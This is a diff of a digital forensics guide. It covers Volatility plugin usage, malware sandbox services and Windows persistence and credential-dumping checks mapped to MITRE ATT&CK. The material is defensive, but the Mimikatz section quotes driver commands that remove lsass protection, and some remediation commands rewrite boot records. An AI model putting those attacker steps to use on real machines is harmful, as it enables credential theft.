automatically detect the OS and profile. + +### Common Plugins + +#### Linux +* `linux.bash.Bash` +* `linux.check_afinfo.Check_afinfo` +* `linux.check_syscall.Check_syscall` +* `linux.elfs.Elfs` +* `linux.lsmod.Lsmod` +* `linux.lsof.Lsof` +* `linux.malfind.Malfind` +* `linux.proc.Maps` +* `linux.pslist.PsList` +* `linux.pstree.PsTree` + +#### macOS +* `mac.bash.Bash` +* `mac.check_syscall.Check_syscall` +* `mac.check_sysctl.Check_sysctl` +* `mac.check_trap_table.Check_trap_table` +* `mac.ifconfig.Ifconfig` +* `mac.lsmod.Lsmod` +* `mac.lsof.lsof` +* `mac.malfind.Malfind` +* `mac.netstat.Netstat` +* `mac.proc_maps.Maps` +* `mac.psaux.Psaux` +* `mac.pslist.PsList` +* `mac.pstree.PsTree` +* `mac.tasks.Tasks` +* `mac.timers.Timers` +* `mac.trustedbsd.trustedbsd` + +#### Windows +* `windows.cmdline.CmdLine` +* `windows.dlldump.DllDump` +* `windows.dlllist.DllList` +* `windows.driverirp.DriverIrp` +* `windows.driverscan.DriverScan` +* `windows.filescan.FileScan` +* `windows.handles.Handles` +* `windows.info.Info` +* `windows.malfind.Malfind` +* `windows.moddump.ModDump` +* `windows.modscan.ModScan` +* `windows.modules.Modules` +* `windows.mutantscan.MutantScan` +* `windows.netscan.NetScan` +* `windows.netstat.NetStat` +* `windows.poolscanner.PoolScanner` +* `windows.procdump.ProcDump` +* `windows.pslist.PsList` +* `windows.psscan.PsScan` +* `windows.pstree.PsTree` +* `windows.registry.certificates.Certificates` +* `windows.registry.hivedump.HiveDump` +* `windows.registry.hivelist.HiveList` +* `windows.registry.hivescan.HiveScan` +* `windows.registry.printkey.PrintKey` +* `windows.registry.userassist.UserAssist` +* `windows.ssdt.SSDT` +* `windows.statistics.Statistics` +* `windows.strings.Strings` +* `windows.symlinkscan.SymlinkScan` +* `windows.vaddump.VadDump` +* `windows.vadinfo.VadInfo` +* `windows.virtmap.VirtMap` +* `windows.yarascan.YaraScan` +* `timeliner.Timeliner` + +### Usage Examples + +Assuming `vol.py` is the Volatility 3 executable and `memory.dmp` is the target memory image. **Check Memory Image Information** -``` -/usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.info.Info +```bash +python3 vol.py -f memory.dmp windows.info ``` **Check List of Kernel Drivers** -``` -/usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.modules.Modules +```bash +python3 vol.py -f memory.dmp windows.modules ``` **Check List of Kernel Drivers (incl previously unloaded and hidden)** -``` -/usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.modscan.ModScan +```bash +python3 vol.py -f memory.dmp windows.modscan ``` **Dump List of Kernel Drivers to Files** -``` -/usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.moddump.ModDump +```bash +python3 vol.py -f memory.dmp windows.moddump ``` **Dump List of Running Processes to Files** -``` -/usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.procdump.ProcDump +```bash +python3 vol.py -f memory.dmp windows.procdump ``` **Check Process List of Running Processes** -``` -/usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.pslist.PsList +```bash +python3 vol.py -f memory.dmp windows.pslist ``` **Check Process Tree of Running Processes** -``` -/usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.pstree.PsTree +```bash +python3 vol.py -f memory.dmp windows.pstree ``` **Check Running Processes from EPROCESS blocks** -``` -/usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.psscan.PsScan +```bash +python3 vol.py -f memory.dmp windows.psscan ``` -**Check Running Processes for possible shellcode/injection via PAGE\_EXECUTE\_READWRITE** +**Check Running Processes for possible shellcode/injection via PAGE_EXECUTE_READWRITE** -``` -/usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.malfind.Malfind +```bash +python3 vol.py -f memory.dmp windows.malfind ``` **Check processes and their command lines** -``` -/usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.cmdline.CmdLine +```bash +python3 vol.py -f memory.dmp windows.cmdline ``` **Check for files which exist in memory** +```bash +python3 vol.py -f memory.dmp windows.filescan ``` -/usr/bin/python3.6 vol.py -f /home/user/samples/mem.bin windows.filescan.FileScan + +**Check for network connections** + +```bash +python3 vol.py -f memory.dmp windows.netscan +``` + +**Scan memory with YARA rules** + +```bash +python3 vol.py -f memory.dmp windows.yarascan --yara-file /path/to/rules.yar ``` diff --git a/dfir-digital-forensics-and-incident-response/sandboxing.md b/dfir-digital-forensics-and-incident-response/sandboxing.md index 9b8825a..1dd74e1 100644 --- a/dfir-digital-forensics-and-incident-response/sandboxing.md +++ b/dfir-digital-forensics-and-incident-response/sandboxing.md @@ -1,59 +1,89 @@ # Sandboxing -## Online Sandbox Services +## Overview + +**Online Sandboxes -** The "Easy Button" for Malware Analysis. -**Online Sandboxes -** The malware analysis easy button +The first step in analyzing any potentially malicious file often involves running it through a sandbox. Sandboxes provide detailed analysis of the file, its structure, its contents, its metadata, and can even "detonate" (execute) the file to observe the activity resulting from opening or running it. -The first step in analyzing any potentially malicious file is running it through a sandbox. Sandboxes can provide detailed analysis of the file, its structure, its contents, its metadata, and even detonate the file to see what activity comes from opening/running the file. +Malware analysis typically falls into two categories: -There are two types of analysis on files that can be performed: +* **Static Analysis**: The contents and structure of the file are analyzed for indicators of purpose or nature without executing the code. This includes hashing, string extraction, and analyzing file headers. If the file is an executable, code structure can be analyzed via disassembly (though this often crosses into Reverse Engineering). +* **Dynamic Analysis (Behavioral Analysis)**: The file is opened or executed in a controlled environment (sandbox) to determine what actions it performs. This allows analysts to observe network connections, file system changes, and process injections without risking the host device. -* Static analysis - Where the contents and structure of the file are analyzed for indicators of purpose or nature. If the file is an executable in an uncompiled state, the code structure can also be analyzed. -* Dynamic analysis - Where the files is opened or executed, to determine what action it performs. This is usually done in a sandboxed environment, in order to prevent any potentially harmful actions being performed on the host device. +Use discretion when choosing a tool. A simple scan might not reveal complex malware. -For analyzing potentially malicious files, i usually start with submitting the file to JoeSandbox and Hybrid-Analysis. These two provide detailed reports about the nature of the file, its contents, and intelligence available on the file, and so much more. If these two do not yield the answers needed, Any.run will provide a dynamic environment to detonate the file and monitor the actions it performs. +## Online Sandbox Services -All of the below online sandboxes can provide detailed analysis with one or more popular engines. Remember, just because its not found to be malicious by the scanner, does not mean it is 100% safe. Always use discretion. +For analyzing potentially malicious files, a common workflow starts with submitting the file to services like **JoeSandbox**, **Hybrid-Analysis**, or **Any.run**. These platforms provide detailed reports on the file's nature, contents, and related threat intelligence. + +* **Hybrid-Analysis** and **JoeSandbox** are excellent for deep static and dynamic analysis. +* **Any.run** provides an interactive dynamic environment, allowing you to manipulate the VM while the malware runs (useful for malware requiring user interaction, like installers or password-protected docs). {% hint style="warning" %} -\*\*\*WARNING - Do NOT submit a document to a public sandbox that might contain PII. This can be considered a data leak and could violate company policy. If you need to inspect a file that might have PII, use either a premium sandboxing service that does not disclose analysis results/contents, or use a sandboxing tool on your own local virtual machine. +\*\*\*WARNING - OPSEC & Privacy\*\*\* +Do **NOT** submit a document to a public sandbox if it might contain Personally Identifiable Information (PII) or sensitive corporate data. +Submitting a file to a public sandbox (like VirusTotal or Hybrid-Analysis) shares that file with the security community and potentially the public. This can be considered a data leak. +If you need to inspect a sensitive file: +1. Use a premium sandboxing service with a "private" submission option. +2. Use a local sandboxing tool on an isolated virtual machine. {% endhint %} -* [https://www.hybrid-analysis.com/](https://www.hybrid-analysis.com/) -* [https://www.joesandbox.com](https://www.joesandbox.com) -* [https://app.any.run/](https://app.any.run/) -* [https://sandbox.anlyz.io/dashboard](https://sandbox.anlyz.io/dashboard) -* [https://sandbox.pikker.ee/](https://sandbox.pikker.ee/) (Online version of cuckoo) -* [https://analyze.intezer.com](https://analyze.intezer.com) -* [https://iris-h.services/pages/submit](https://iris-h.services/pages/submit) -* [https://intelligence.gatewatcher.com/](https://intelligence.gatewatcher.com/) -* [https://tria.ge/](https://tria.ge/) -* [https://labs.inquest.net/dfi](https://labs.inquest.net/dfi) -* [https://manalyzer.org/](https://manalyzer.org/) -* [https://threatpoint.checkpoint.com/ThreatPortal/emulation](https://threatpoint.checkpoint.com/ThreatPortal/emulation) -* [http://firmware.re/](http://firmware.re/) -* [https://malwareconfig.com/](https://malwareconfig.com/) -* [https://id-ransomware.malwarehunterteam.com/](https://id-ransomware.malwarehunterteam.com/) -* [https://virusscan.jotti.org/en](https://virusscan.jotti.org/en) -* [https://pandora.circl.lu/submit](https://pandora.circl.lu/submit) -* [https://exchange.xforce.ibmcloud.com/](https://exchange.xforce.ibmcloud.com/) -* [https://koodous.com/](https://koodous.com/) - (APK Sandbox) -* [https://yaraify.abuse.ch/](https://yaraify.abuse.ch/) - -## **Local Sandbox tools** - -Local sandboxes - There are a few options for local sandboxing that can help you. Cuckoo sandbox is the standard for local automated malware analysis. This is a great option for when you need to analyze a file that might contain PII that you do not want disclosed to a public sandbox. Another great option is to use Fireeye's Flare-VM. Not only does it come loaded with a slew of malware analysis tools, it runs as a virtual machine where malware can be analyzed and event detonated with out fear of impacting the host operating system. You will encounter files that pass muster with most automated analysis tools and the only way to determine what it does, is to detonate it. A great and simple way to do this, is to load the suspicious file into your Flare-VM, turn on a web proxy like fiddler to monitor your outdoing web requests, open local tools like event viewer or a process monitor, and detonate the file to see if it makes any unwanted actions on the device. - -* [https://github.com/pandora-analysis/pandora](https://github.com/pandora-analysis/pandora) - Pandora is an analysis framework to discover if a file is suspicious and conveniently show the results. -* [https://cuckoosandbox.org/](https://cuckoosandbox.org/) - The standard for local sandboxing and analysis. - * [cuckoo3](https://github.com/cert-ee/cuckoo3) - Cuckoo 3 is a Python 3 open source automated malware analysis system. -* [https://github.com/fireeye/flare-vm](https://github.com/fireeye/flare-vm) - The fireeye VM for malware analysis. -* [ThePhish](https://github.com/emalderson/ThePhish) - ThePhish is an automated phishing email analysis tool based on [TheHive](https://github.com/TheHive-Project/TheHive), [Cortex](https://github.com/TheHive-Project/Cortex/) and [MISP](https://github.com/MISP/MISP). It is a web application written in Python 3 and based on Flask that automates the entire analysis process starting from the extraction of the observables from the header and the body of an email to the elaboration of a verdict which is final in most cases. - * [https://secsi.io/blog/thephish-an-automated-phishing-email-analysis-tool/](https://secsi.io/blog/thephish-an-automated-phishing-email-analysis-tool/) -* Local VM and Proxies - * [https://www.telerik.com/fiddler](https://www.telerik.com/fiddler) - While not a sandbox, it is a simple web proxy that can be used with any other VM. By detonating your target file in a cirtual machine with this running, you can see if the file makes any outbound web requests when it is opened. - * [https://github.com/iphelix/dnschef](https://github.com/iphelix/dnschef) - DNS proxy for Penetration Testers and Malware Analysts - -![](<../../.gitbook/assets/image (8) (1).png>) - -![](<../../.gitbook/assets/image (9) (1).png>) +### General Purpose Sandboxes +* [https://www.hybrid-analysis.com/](https://www.hybrid-analysis.com/) (Powered by Falcon Sandbox) +* [https://www.joesandbox.com](https://www.joesandbox.com) +* [https://app.any.run/](https://app.any.run/) (Interactive Sandbox) +* [https://tria.ge/](https://tria.ge/) (High-speed malware analysis) +* [https://analyze.intezer.com](https://analyze.intezer.com) (Code reuse analysis) +* [https://labs.inquest.net/dfi](https://labs.inquest.net/dfi) (Deep File Inspection) +* [https://manalyzer.org/](https://manalyzer.org/) +* [https://threatpoint.checkpoint.com/ThreatPortal/emulation](https://threatpoint.checkpoint.com/ThreatPortal/emulation) +* [https://pandora.circl.lu/submit](https://pandora.circl.lu/submit) + +### Specialized Analysis (Firmware, Android, Configs) +* [https://koodous.com/](https://koodous.com/) - APK (Android) Sandbox +* [http://firmware.re/](http://firmware.re/) - Firmware analysis. Verify availability before relying on it. +* [https://malwareconfig.com/](https://malwareconfig.com/) - Extract configuration from RATs/C2s +* [https://id-ransomware.malwarehunterteam.com/](https://id-ransomware.malwarehunterteam.com/) - Identify Ransomware variants + +YARAify and public YARA rule workflows are maintained on the YARA page. + +{% content-ref url="yara.md" %} +[yara.md](yara.md) +{% endcontent-ref %} + +### Community & Legacy Instances +Community sandbox availability can change quickly. Verify current status before using these in a workflow. + +* [https://sandbox.pikker.ee/](https://sandbox.pikker.ee/) +* [https://sandbox.anlyz.io/dashboard](https://sandbox.anlyz.io/dashboard) +* [https://iris-h.services/pages/submit](https://iris-h.services/pages/submit) +* [https://virusscan.jotti.org/en](https://virusscan.jotti.org/en) (Multi-engine scanner, primarily static) + +## **Local Sandbox Tools** + +Local sandboxes are the preferred method when handling PII or highly sensitive targeted malware. They run on your own infrastructure, ensuring data does not leave your control. + +* **[CAPE Sandbox](https://github.com/kevoreilly/CAPEv2)** - CAPE (Config And Payload Extraction) is a major fork of Cuckoo Sandbox designed to extract payloads and configurations from malware automatically. It is currently more actively maintained than the original Cuckoo v2. +* **[Cuckoo Sandbox](https://cuckoosandbox.org/)** - The classic standard for local automated malware analysis. + * [cuckoo3](https://github.com/cert-ee/cuckoo3) - The next generation (Python 3) of Cuckoo. +* **[Mandiant Flare-VM](https://github.com/mandiant/flare-vm)** - (Previously FireEye) A fully customizable, Windows-based security distribution for malware analysis, incident response, and penetration testing. It runs as a virtual machine, allowing you to detonate malware without impacting your host OS. +* **[REMnux](https://remnux.org/)** - A Linux toolkit for reverse engineering and analyzing malicious software. Often used in tandem with Flare-VM to analyze Linux malware or to provide network services (DNS, HTTP) to the Windows malware victim. + +### Analysis Utilities & Frameworks +* **[Pandora](https://github.com/pandora-analysis/pandora)** - An analysis framework to discover if a file is suspicious and conveniently show the results. +* **[ThePhish](https://github.com/emalderson/ThePhish)** - An automated phishing email analysis tool based on [TheHive](https://github.com/TheHive-Project/TheHive), [Cortex](https://github.com/TheHive-Project/Cortex/) and [MISP](https://github.com/MISP/MISP). +* **[Fiddler](https://www.telerik.com/fiddler)** - A web debugging proxy. While not a sandbox, it is essential for dynamic analysis. run Fiddler in your VM to intercept and inspect HTTP/HTTPS traffic generated by the malware. +* **[DNSChef](https://github.com/iphelix/dnschef)** - A highly configurable DNS proxy for Penetration Testers and Malware Analysts. + +## **Manual Dynamic Analysis** +A simple yet effective way to analyze malware is to manually detonate it in a controlled VM (like Flare-VM). +1. **Isolate**: ensure the VM has no path to your production network (Host-only networking or strictly controlled NAT). +2. **Instrumentation**: Open monitoring tools (Process Monitor, Process Hacker, Fiddler, Wireshark). +3. **Detonate**: Run the suspicious file. +4. **Observe**: Watch for process creation, registry changes, and outbound network requests. + +![Analysis Flow](<../../.gitbook/assets/image (8) (1).png>) + +![Dashboard Example](<../../.gitbook/assets/image (9) (1).png>) + diff --git a/dfir-digital-forensics-and-incident-response/windows-dfir-check-by-mitre-tactic.md b/dfir-digital-forensics-and-incident-response/windows-dfir-check-by-mitre-tactic.md index 60f90dc..e514d25 100644 --- a/dfir-digital-forensics-and-incident-response/windows-dfir-check-by-mitre-tactic.md +++ b/dfir-digital-forensics-and-incident-response/windows-dfir-check-by-mitre-tactic.md @@ -1,6 +1,8 @@ # Windows DFIR Check by MITRE Tactic -## T1015 Accessibility Features +## T1546.008 Accessibility Features + +Attackers may replace binary files associated with Windows accessibility features (like Sticky Keys `sethc.exe`) with a command shell (`cmd.exe`) to execute commands as SYSTEM from the login screen. ``` reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" @@ -19,19 +21,21 @@ sfc /VERIFYFILE=C:\Windows\System32\DisplaySwitch.exe sfc /VERIFYFILE=C:\Windows\System32\osk.exe ``` +Adversaries may manipulate accounts to maintain access. This includes modifying password filters, adding additional credentials (like SSH keys), or modifying groups. + ## T1098 Account Manipulation ``` N/A ``` -## T1182 AppCert DLLs +## T1546.009 AppCert DLLs ``` reg query "HKLM\System\CurrentControlSet\Control\Session Manager" /v AppCertDlls ``` -## T1103 AppInit DLLs +## T1546.010 AppInit DLLs ``` reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Appinit_Dlls @@ -41,7 +45,9 @@ reg query "HKU\{SID}\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Wi Get-WinEvent -FilterHashtable @{ LogName='System'; Id='11'} | FL TimeCreated,Message ``` -## T1138 Application Shimming +The Microsoft Windows Application Compatibility Infrastructure (Shims) can be used to insert malicious code into applications. + +## T1546.011 Application Shimming ``` reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" @@ -61,15 +67,18 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCo ## T1197 BITS Jobs +`bitsadmin` is deprecated, but it is still useful during DFIR because older systems and attacker tradecraft may leave BITS artifacts behind. + ``` bitsadmin /list /allusers /verbose Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-Bits-Client/Operational'; Id='59'} | FL TimeCreated,Message ls 'C:\ProgramData\Microsoft\Network\Downloader\qmgr.db' ``` -## T1067 Bootkit +## T1542.003 Bootkit -Note: This exists below the OS in the Master Boot Record or Volume Boot Record. The system must be booted through Advanced Startup Options with a Command Prompt, or through a recovery cd. +Bootkits reside in the MBR/VBR or UEFI. Detection often requires offline analysis or specific tools like `bootrec` to repair/detect boot config changes. +Note: The system must be booted through Advanced Startup Options with a Command Prompt, or through a recovery cd. ``` bootrec /FIXMBR @@ -212,7 +221,7 @@ reg query 'HKU\{SID}\Software\Microsoft\Internet Explorer\Explorer Bars' reg query 'HKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions' ``` -## T1109 Component Firmware +## T1542.001 Component Firmware Note: This is incredibly rare, and doesn’t have an easy detection/remediation mechanism. Using the Windows CheckDisk utility, System File Checker, or Deployment Image Servicing and Management may assist but isn’t guaranteed. @@ -224,7 +233,7 @@ dism /Online /Cleanup-Image /RestoreHealth dism /Online /Cleanup-Image /StartComponentCleanup /ResetBase ``` -## T1122 Component Object Model (COM) Hijacking +## T1546.015 Component Object Model (COM) Hijacking Note: This involves replacing legitimate components with malicious ones, and as such the legitimate components will likely no longer function. If you have a detection based on DLLHost.exe with /Processid:{xyz}, you can match xyz with the CLSID (COM Class Object) or AppID mentioned below to check for any malicious EXE or DLL. @@ -281,6 +290,8 @@ reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAcc ## T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking +Adversaries may place a malicious DLL in a directory that is searched before the legitimate DLL directory. This exploits the way Windows loads DLLs. + ``` reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs" gci -path C:\Windows\* -include *.dll | Get-AuthenticodeSignature | Where-Object Status -NE "Valid" @@ -297,7 +308,7 @@ $dll = gps | Where {$_.Modules -like '*{DLLNAME}*' } | Select Modules;$dll.Modul Note: A legitimate clean executable can be used to run malicious DLLs based on how the software searches for them. -More information on [Microsoft Docs](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order) +More information on [Microsoft Learn](https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order) ``` reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs" @@ -330,20 +341,20 @@ If SafeDllSearchMode is disabled (SafeDllSearchMode has a reg value of 0), the s N/A ``` -## T1044 File System Permissions Weakness +## T1574.010 Services File Permissions Weakness ``` Get-WmiObject win32_service | FL name,PathName get-acl "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" | FL | findstr "FullControl" ``` -## T1158 Hidden Files and Directories +## T1564.001 Hidden Files and Directories ``` dir /S /A:H ``` -## T1179 Hooking +## T1056.004 Hooking ### **Finding EasyHook Injection** @@ -355,26 +366,36 @@ More Material: * [GetHooks](https://github.com/jay/gethooks/releases/tag/1.01) -## T1062 Hypervisor -``` -N/A -``` -## T1183 Image File Execution Options Injection +## T1546.012 Image File Execution Options Injection + +The `Image File Execution Options` (IFEO) registry key allows developers to attach a debugger to an application. Attackers use this to execute malware instead of the intended application. ``` reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit" /s /f "MonitorProcess" reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s /f "Debugger" ``` +## T1562.001 Impair Defenses: Disable or Modify Tools + +Adversaries may modify and/or disable security tools to avoid possible detection. + +``` +reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /s +Get-MpComputerStatus +sc query windefend +``` + ## T1037 Logon Scripts +Logon scripts are run automatically when a user logs in. Attackers can modify these to run persistence payloads. + ``` reg query "HKU\{SID}\Environment" /v UserInitMprLogonScript ``` -## T1177 LSASS Driver +## T1547.008 LSASS Driver ``` Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='4614';} | FL TimeCreated,Message @@ -382,7 +403,7 @@ Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='3033';} | FL TimeCreate Get-WinEvent -FilterHashtable @{ LogName='Security'; Id='3063';} | FL TimeCreated,Message ``` -## T1031 Modify Existing Service +## T1543.003 Modify Existing Service ``` reg query HKLM\SYSTEM\CurrentControlSet\Services /s /v "ImagePath" @@ -392,13 +413,13 @@ Get-ItemProperty REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\*\* -ea 0 | wh Get-ItemProperty REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\*\* -ea 0 | where {($_.ServiceDll -ne $null)} | select -uniq ServiceDll -ea 0 | foreach {filehash $_.ServiceDll} | select -uniq -exp hash ``` -## T1128 Netsh Helper DLL +## T1546.007 Netsh Helper DLL ``` reg query HKLM\SOFTWARE\Microsoft\Netsh ``` -## T1050 New Service +## T1543.003 New Service ``` reg query HKLM\SYSTEM\CurrentControlSet\Services /s /v "ImagePath" @@ -444,19 +465,30 @@ reg query HKCU\Software\Microsoft\Office\\Outlook\WebView\Calen Get-WinEvent -FilterHashtable @{ LogName='Microsoft Office Alerts'; Id='300';} | FL TimeCreated,Message ``` -## T1034 Path Interception +## T1003 OS Credential Dumping + +Adversaries may dump credentials from the operating system to obtain account login and credential material. + +``` +dir /s /b C:\Windows\Temp\*.dmp +dir /s /b C:\Users\*\AppData\Local\Temp\*.dmp +reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v "UseLogonCredential" +reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" +``` + +## T1574.009 Path Interception ``` N/A ``` -## T1013 Port Monitors +## T1547.010 Port Monitors ``` reg query "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors" /s /v "Driver" ``` -## T1504 PowerShell Profile +## T1546.013 PowerShell Profile ``` ls C:\Windows\System32\WindowsPowerShell\v1.0\Profile.ps1 @@ -466,13 +498,7 @@ gci -path "C:\Users\*\Documents\PowerShell\Profile.ps1" gci -path "C:\Users\*\Documents\PowerShell\Microsoft.*Profile.ps1" ``` -## T1108 Redundant Access - -``` -N/A -``` - -## T1060 Registry Run Keys / Startup Folder +## T1547.001 Registry Run Keys / Startup Folder ``` reg query "HKU\{SID}\Software\Microsoft\Windows\CurrentVersion\Run" @@ -500,6 +526,8 @@ gci -path "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\*" -incl Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-Shell-Core/Operational'; Id='9707'} | FL TimeCreated,Message Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-Shell-Core/Operational'; Id='9708'} | FL TimeCreated,Message ``` +Scheduled Tasks are a common persistence mechanism. Malicious tasks can be hidden or set to run at specific times/events. + ## T1053 Scheduled Task @@ -514,7 +542,7 @@ ls 'C:\Windows\System32\WptsExtensions.dll' Note: thanks to [Markus Piéton](https://twitter.com/markus\_pieton/status/1189559716453801991) for the WptsExtensions.dll one. -## T1180 Screensaver +## T1546.002 Screensaver ``` reg query "HKU\{SID}\Control Panel\Desktop" /s /v "ScreenSaveActive" @@ -522,7 +550,7 @@ reg query "HKU\{SID}\Control Panel\Desktop" /s /v "SCRNSAVE.exe" reg query "HKU\{SID}\Control Panel\Desktop" /s /v "ScreenSaverIsSecure" ``` -## T1101 Security Support Provider +## T1547.005 Security Support Provider ``` reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig" /v "Security Packages" @@ -535,14 +563,14 @@ reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" N/A ``` -## T1058 Service Registry Permissions Weakness +## T1574.011 Service Registry Permissions Weakness ``` get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\* |FL get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\servicename |FL ``` -## T1023 Shortcut Modification +## T1547.009 Shortcut Modification ``` Select-String -Path "C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\*.lnk" -Pattern "exe" @@ -550,10 +578,14 @@ Select-String -Path "C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Pro Select-String -Path "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\*" -Pattern "dll" Select-String -Path "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\*" -Pattern "exe" gci -path "C:\Users\" -recurse -include *.lnk -ea SilentlyContinue | Select-String -Pattern "exe" | FL + + gci -path "C:\Users\" -recurse -include *.lnk -ea SilentlyContinue | Select-String -Pattern "dll" | FL ``` -## T1198 SIP and Trust Provider Hijacking +## T1553.003 SIP and Trust Provider Hijacking + +Subject Interface Packages (SIPs) and Trust Providers are used by Windows to verify digital signatures. Modifying these can allow unsigned code to appear signed. ``` reg query "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg" /s /v "Dll" @@ -564,7 +596,7 @@ reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\C reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\Providers\Trust\FinalPolicy" /s /v "`$DLL" ``` -## T1019 System Firmware +## T1542.001 System Firmware ``` reg query HKLM\HARDWARE\DESCRIPTION\System\BIOS @@ -572,7 +604,7 @@ Confirm-SecureBootUEFI Get-WmiObject win32_bios ``` -## T1209 Time Providers +## T1547.003 Time Providers ``` reg query "HKLM\System\CurrentControlSet\Services\W32Time\TimeProviders" /s /f "Dll" @@ -586,7 +618,7 @@ net group /domain "Domain Admins" net users /domain ``` -## T1100 Web Shell +## T1505.003 Web Shell Note: The presence of files with these values isn’t necessarily indicative of a webshell, review output. @@ -602,7 +634,7 @@ Get-WinEvent -FilterHashtable @{LogName='MSExchange Management';} | ? {$_.Messag Get-WinEvent -FilterHashtable @{LogName='MSExchange Management';} | ? {$_.Message -match 'aspx'} | FL TimeCreated, Message ``` -## T1084 Windows Management Instrumentation Event Subscription +## T1546.003 Windows Management Instrumentation Event Subscription ### **Get WMI Namespaces** @@ -616,7 +648,7 @@ Function Get-WmiNamespace ($Path = 'root') Get-WmiNamespace -Path $FullPath } } -Get-WMINamespace -Recurse +Get-WmiNamespace ``` ### **Query WMI Persistence** @@ -627,7 +659,7 @@ Get-WmiObject -Class __EventFilter -Namespace root\subscription Get-WmiObject -Class __EventConsumer -Namespace root\subscription ``` -## T1004 Winlogon Helper DLL +## T1547.004 Winlogon Helper DLL ``` reg query "HKU\{SID}\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" /s diff --git a/dfir-digital-forensics-and-incident-response/windows-dfir-checks.md b/dfir-digital-forensics-and-incident-response/windows-dfir-checks.md index 5cd22c2..6e6cc02 100644 --- a/dfir-digital-forensics-and-incident-response/windows-dfir-checks.md +++ b/dfir-digital-forensics-and-incident-response/windows-dfir-checks.md @@ -1,142 +1,177 @@ # Windows DFIR Checks -## Malware Activity +## Malware Activity -### Check disabled task manager (often from malware) +### Check for Disabled Task Manager -``` +Malware often disables Task Manager to prevent users from terminating malicious processes. + +```powershell reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr ``` -### Mimikatz/Credential Extraction Detection +### Mimikatz/Credential Extraction Detection -The below represent registry keys which make it more difficult for Mimikatz to work. Modification of these keys may indicate an attacker trying to execute Mimikatz within an environment if they were set to their more secure state. Always test prior to changing registry keys such as these in a production environment to ensure nothing breaks. +The following registry keys control security providers and LSA protection. If these are set to insecure values, it may indicate an attacker attempting to dump credentials (e.g., using Mimikatz). -``` -HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest - - “UseLogonCredential” should be 0 to prevent the password in LSASS/WDigest -HKLM\SYSTEM\CurrentControlSet\Control\Lsa - - “RunAsPPL” should be set to dword:00000001 to enable LSA Protection which prevents non-protected processes from interacting with LSASS. - - Mimikatz can remove these flags using a custom driver called mimidriver. - - This uses the command **!+** and then **!processprotect /remove /process:lsass.exe** by default so tampering of this registry key can be indicative of Mimikatz activity. +*Note: Always test prior to changing registry keys to ensure system stability.* + +```powershell +# Check WDigest (UseLogonCredential should be 0) +reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential + +# Check LSA Protection (RunAsPPL should be 1) +reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL ``` -The [Mimikatz Yara rule](https://github.com/gentilkiwi/mimikatz/blob/master/kiwi\_passwords.yar) may also prove useful. +* **WDigest**: `UseLogonCredential` should be `0` to prevent storing cleartext passwords in LSASS. +* **LSA Protection**: `RunAsPPL` should be `1` to prevent non-protected processes from interacting with LSASS. +* **Tampering**: Mimikatz can remove these flags using a custom driver (`mimidriver`), often via commands like `!+` and `!processprotect /remove`. -Some techniques may involve loading lsasrv.dll or wdigest.dll to extract credentials and may be caught if this is loaded legitimately using: +The [Mimikatz Yara rule](https://github.com/gentilkiwi/mimikatz/blob/master/kiwi_passwords.yar) may also prove useful. 